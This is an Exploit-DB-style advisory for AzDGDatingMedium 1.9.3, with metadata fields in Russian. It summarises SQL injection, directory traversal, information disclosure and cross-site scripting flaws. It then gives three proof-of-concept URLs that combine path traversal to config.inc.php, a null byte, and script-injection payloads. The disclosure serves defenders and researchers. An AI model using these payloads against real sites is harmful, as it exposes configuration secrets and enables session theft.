Exploit AzDGDatingMedium 1.9.3 - Multiple Remote Vulnerabilities

[Exploiter]

EDB-ID

37317

Проверка EDB

1. Пройдено

Автор

AKASTEP

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2012-05-27

AzDGDatingMedium 1.9.3 - Multiple Remote Vulnerabilities

source: https://www.securityfocus.com/bid/53692/info

AzDGDatingMedium is prone to multiple remote vulnerabilities that includes a SQL-injection vulnerability, an information-disclosure vulnerability, a directory-traversal vulnerability and multiple cross-site scripting vulnerabilities,

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database and gain access to sensitive information.

AzDGDatingMedium 1.9.3 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php%00<script>alert(1);</script>

http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default%00<script>alert("AkaStep");</script>&dir=../include/&f=config.inc.php

http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php